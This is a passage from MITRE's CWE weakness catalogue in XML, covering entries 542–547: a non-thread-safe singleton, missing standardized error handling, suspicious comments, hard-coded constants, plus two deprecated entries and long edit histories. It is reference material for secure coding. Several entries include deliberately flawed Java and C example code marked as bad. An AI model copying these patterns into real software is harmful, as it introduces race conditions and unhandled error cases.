					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Include Source Code</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Include Source Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="542" Name="DEPRECATED: Information Exposure Through Cleanup Log Files" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because its abstraction was too low-level.  See CWE-532.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Cleanup Log Files</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Information Exposure Through Cleanup Log Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="543" Name="Use of Singleton Pattern Without Synchronization in a Multithreaded Context" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses the singleton pattern when creating a resource within a multithreaded environment.</Description>
         <Extended_Description>The use of a singleton pattern may not be thread-safe.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="820" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Other</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use the Thread-Specific Storage Pattern. See References.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).</Description>
               <Effectiveness>Limited</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private static NumberConverter singleton;<xhtml:br/>public static NumberConverter get_singleton() {<xhtml:div style="margin-left:1em;">if (singleton == null) {<xhtml:div style="margin-left:1em;">singleton = new NumberConverter();</xhtml:div>}<xhtml:br/>return singleton;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Consider the following course of events:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Thread B continues and constructs another NumberConverter object and returns it while exiting the method.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Thread A continues, finishes constructing its NumberConverter object, and returns its version.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>At this point, the threads have created and returned two different objects.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC07-J</Entry_ID>
               <Entry_Name>Prevent multiple instantiations of singleton objects</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-474"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Use of Singleton Pattern in a Non-thread-safe Manner</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="544" Name="Missing Standardized Error Handling Mechanism" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.</Description>
         <Extended_Description>If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR00-C</Entry_ID>
               <Entry_Name>Adopt and implement a consistent and comprehensive error-handling policy</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Missing Error Handling Mechanism</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Use a Standardized Error Handling Mechanism</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="545" Name="DEPRECATED: Use of Dynamic Class Loading" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-04-11">Dynamic Class Loading</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-05-03">Use of Dynamic Class Loading</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="546" Name="Suspicious Comment" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.</Description>
         <Extended_Description>Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Note>Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Documentation</Phase>
               <Description>Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>if (user == null) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// TODO: Handle null user condition.</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="547" Name="Use of Hard-coded, Security-relevant Constants" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.</Description>
         <Extended_Description>If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Quality Degradation</Impact>
               <Note>The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid using hard-coded constants. Configuration files offer a more flexible solution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The usage of symbolic names instead of hard-coded constants is preferred.</Intro_Text>
               <Body_Text>The following is an example of using a hard-coded constant instead of a symbolic name.</Body_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char buffer[1024];<xhtml:br/>...<xhtml:br/>fgets(buffer, 1024, stdin);</xhtml:div>
               </Example_Code>
               <Body_Text>If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurences, in this example it could lead to a buffer overflow.</Body_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>enum { MAX_BUFFER_SIZE = 1024 };<xhtml:br/>...<xhtml:br/>char buffer[MAX_BUFFER_SIZE];<xhtml:br/>...<xhtml:br/>fgets(buffer, MAX_BUFFER_SIZE, stdin);</xhtml:div>
               </Example_Code>
               <Body_Text>In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>DCL06-C</Entry_ID>
               <Entry_Name>Use meaningful symbolic constants to represent literal values in program logic</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
